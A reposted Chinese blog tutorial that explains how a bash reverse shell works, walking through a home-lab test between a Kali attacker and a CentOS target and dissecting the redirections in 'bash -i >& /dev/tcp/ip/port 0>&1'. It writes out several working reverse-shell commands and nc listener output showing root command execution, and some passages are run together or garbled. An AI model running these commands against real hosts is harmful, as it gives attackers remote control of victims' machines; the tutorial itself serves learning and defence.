反弹bash shell命令详解

当我们在渗透Linux主机时,反弹一个可交互的shell是非常有必要的。那什么反弹shell又到底是什么呐?为什么要反弹shell呐?

一、什么是反弹shell?

反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。

就我个人对反弹shell的理解是:

在Linux中的shell是指一个面向用户的命令接口,也就是一个命令解析器。用户可以通过在shell上键入命令来达到操作主机的目的。正常情况下shell只能由主机的用户使用,但是反弹shell的目的则是将自己的shell反弹给别的主机,让别的主机可以通过shell来控制自己。

二、为什么要反弹shell?

至于为什么要反弹shell,那是被控端可能因防火墙受限、权限不足、端口被占用等情形导致攻击者无法直接对目标进行控制。

举例:假设我们攻击了一台主机,打开了该主机的一个端口,攻击者在自己的主机上去连接目标机器(目标ip:目标机器端口),这是比较常规的方式,叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能使用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.目标主机的ip是动态改变的,不能持续控制。

3.由于防火墙等限制,目标主机只能发送请求,不能接收请求。

4.对于病毒、木马,受害者什么时候能中招、对方的网络环境是什么样的、什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是最好的办法。

那么反弹就很好理解了,攻击者指定服务端,目标主机主动连接攻击者的服务端程序,就叫反弹连接。这里的反弹shell就属于反弹连接。

当然,对于linux主机的反弹shell有很多种方式,比如使用linux的bash命令反弹shell、使用python反弹shell、使用nc反弹shell等等。本文介绍的主题就是通过bash命令来反弹shell,之所以介绍这种方式是因为网上很多文章在提及bash命令反弹shell时只是给出了对应的命令而没有对命令作出解释。下面就来对通过bash是如何进行反弹shell的进行探究。

三、实验环境

Kali(攻击者):192.168.1.102

Centos 7(攻击目标):192.168.1.103

四、使用bash命令反弹shell

反弹shell命令格式如下:

bash -i >& /dev/tcp/ip/port 0>&1

(1)攻击者本地监听7777端口

f614600368827a591db471959061933c.png

(2)目标主机执行反弹shell命令

bash -i >& /dev/tcp/192.168.1.102/7777 0>&1  (实际的命令解析为:将目标主机的bash shell以-i交互式的方式,标准输出+错误输出重定向到192.168.1.102:7777,而在192.168.1.102:7777的标准输入命令会重定向到192.168.1.102:7777的标准输出中)

简言而知,就是将目标主机的标准输入、标准输出、错误输出全都重定向到攻击端上

1f098e008ad8cf31142479875a489d1a.png

执行完成之后再看我们的攻击者主机可以发现目标的shell已经反弹过来了

f5cb65a53a699caed552d8352d8fc4ea.png

仔细观察图中箭头所指可以发现目标的shell此时已经反弹到了攻击者这里,我们可以通过该shell执行命令了,比如ifconfig。

五、命令分析

按理说在渗透过程中只要能够记住反弹shell的命令达到目的就足够了,但是我认为不理解命令的含义就始终无法对反弹shell有一个深刻的理解,也无法留下深刻的印象。

1、bash -i是创建一个交互的bash shell,这个是最简单的。

2、/dev/tcp/是Linux中的一个特殊设备文件,实际这个文件是不存在的,它只是 bash 用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

3、192.168.1.102/7777则是攻击者主机的地址和监听的端口了。

4、“>&”和“0>&1”

要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。linux shell下常用的文件描述符是:

(1)标准输入(stdin) :代码为 0 ,使用 < 或 <<

(2)标准输出(stdout):代码为 1 ,使用 > 或 >>

(3)标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>

这里的”>&”与”&>”是等价的,都是表示混合输出,即标准输出1 + 错误输出2。其实 2>&1也是将标准错误输出重定向到标准输出中的意思。那么按照这个逻辑,“0>&1”就是将标准输入重定向到标准输出中。事实也就是如此,“0>&1”跟“0&>1”同样也是等价的。这样的解释可能比较抽象,下面用几个例子来说明一下bash反弹shell的实现过程。

1、bash -i > /dev/tcp/192.168.1.102/7777

目标:

[root@localhost ~]# bash -i > /dev/tcp/192.168.1.102/7777    //第一步
[root@localhost ~]# hostname        //第二步

ac9ccd6a0f23a2a6bd600ea068eaeeb5.png

攻击端:

root@kali:~# nc -lvp 7777listening on [any] 7777 ...192.168.1.103: inverse host lookup failed: Unknown hostconnect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 41342localhost.localdomain     //测试1结果:实现了将目标的标准输出重定向到攻击端,但是还没实现用命令来控制目标。

e2494dbf35fa94d95716617524d610b6.png

2、bash -i < /dev/tcp/192.168.1.102/7777

目标:

[root@localhost~]#bash -i /dev/tcp/[root@localhost ~]# hostname      //测试2结果:实现了将攻击端的输入重定向到目标,但是攻击端看不到命令执行的结果。localhost.localdomain

1adedc83634fc1c0bce3e6eb286fbc84.png

攻击端:

root@kali:~# nc -lvp 7777      //第一步listening on [any] 7777 ...192.168.1.103: inverse host lookup failed: Unknown hostconnect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 41344hostname       //第三步(攻击端执行命令)

9942ed49e98cb2c303e90069be85a18e.png

3、bash -i >/dev/tcp/192.168.1.102/7777 0>&1     

目标:

[root@localhost ~]# bash -i > /dev/tcp/192.168.1.102/7777 0>&1 //第二步[root@localhost ~]# hostname        //目标回显命令[root@localhost ~]# id        //目标回显命令[root@localhost ~]# hahaha        //目标回显命令bash: hahaha: command not found        //目标回显命令。显示错误命令的输出。[root@localhost ~]#

4dc3e8e2496879d5b360b75faefd3783.png

攻击端:

root@kali:~# nc -lvp 7777        //第一步listening on [any] 7777 ...192.168.1.103: inverse host lookup failed: Unknown hostconnect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 41348hostname        //第三步(攻击端执行命令)localhost.localdomain        //目标执行命令的结果   id        //第四步(攻击端执行命令)uid=0(root)gid=0(root)组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023  //目标执行命令的结果   hahaha     //第五步(执行一个错误的命令)//测试3结果:基本实现了反弹shell的功能。但是目标主机上依然回显了攻击者机器上执行的命令,并且攻击端是看不到错误命令的输出的。

76cde6cead2712e326f30c30a2c2ce14.png

4、将上面三个测试结合。将标准输入、标准输出、错误输出全都重定向到攻击端

bash -i >& /dev/tcp/192.168.1.102/7777 0>&1

目标:

[root@localhost ~]# bash -i > /dev/tcp/192.168.1.102/7777 0>&2>&1 //第二步。或 # bash -i &> /dev/tcp/10.201.61.194/5566 0>&1  (注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)

5063ae3933fa6b91e8e3e8c427776d4d.png

攻击端:

root@kali:~# nc -lvp 7777    //第一步listening on [any] 7777 ...192.168.1.103: inverse host lookup failed: Unknown hostconnect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 41350[root@localhost ~]# hostname    //第三步。测试4结果:攻击端已获得受害端的远程交互式shell,而且目标没有再回显攻击端输入的命令hostnamelocalhost.localdomain[root@localhost ~]#//注:由测试3、测试4对比可见,标准错误2不仅有显示错误信息的作用,还有回显输入命令和终端提示符的作用

df6967c37d529b0f80c0e7697abf601d.png

bash -i > /dev/tcp/192.168.1.102/7777     将标准输出重定向到192.168.1.102/7777,还没实现用命令来控制目标,错误命令不显示
bash -i >& /dev/tcp/192.168.1.102/7777     将标准输出+错误输出重定向到192.168.1.102/7777
bash -i < /dev/tcp/192.168.1.102/7777     将192.168.1.102/7777的标准输入重定向到本地,服务器输入啥就本地就显示啥
bash -i > /dev/tcp/192.168.1.102/7777 0>&1   攻击者服务器目标回显命令。但不显示错误命令的输出,错误命令会在本地显示
bash -i >& /dev/tcp/192.168.1.102/7777 0>&1   将标准输入、标准输出、错误输出全都重定向到攻击端(注:&>或>& 表示混合输出,即标准输出1 + 错误输出2)

六、总结

通过几次试验的对比,我们对几个不同的命令应该有了一个大致的理解了。我个人认为在测试1中的bash -i > /dev/tcp/192.168.1.102/7777命令可以通过>的方向理解为目标创建了一个shell,而这个shell的输出被重定向到了攻击者的主机上。在测试2中bash -i < /dev/tcp/192.168.1.102/7777命令通过> /dev/tcp/192.168.1.102/7777 0>&1 命令通过>可以知道是将目标shell的输出重定向到了攻击者主机上,又由于0>&1的意思是将标准输入重定向到标准输出中,也就是说在攻击者主机上的输入会显示在目标主机的shell中但是输出还是重定向到了攻击者主机上。在最后的测试4中bash -i >& /dev/tcp/192.168.1.102/7777 0>&1命令通过>&将标准的错误信息也重定向到了攻击者主机上。

 

文章转自:https://blog.csdn.net/weixin_39529302/article/details/110289594

posted @ 2022-05-19 17:12  pandaes  阅读(12802)  评论(0编辑  收藏  举报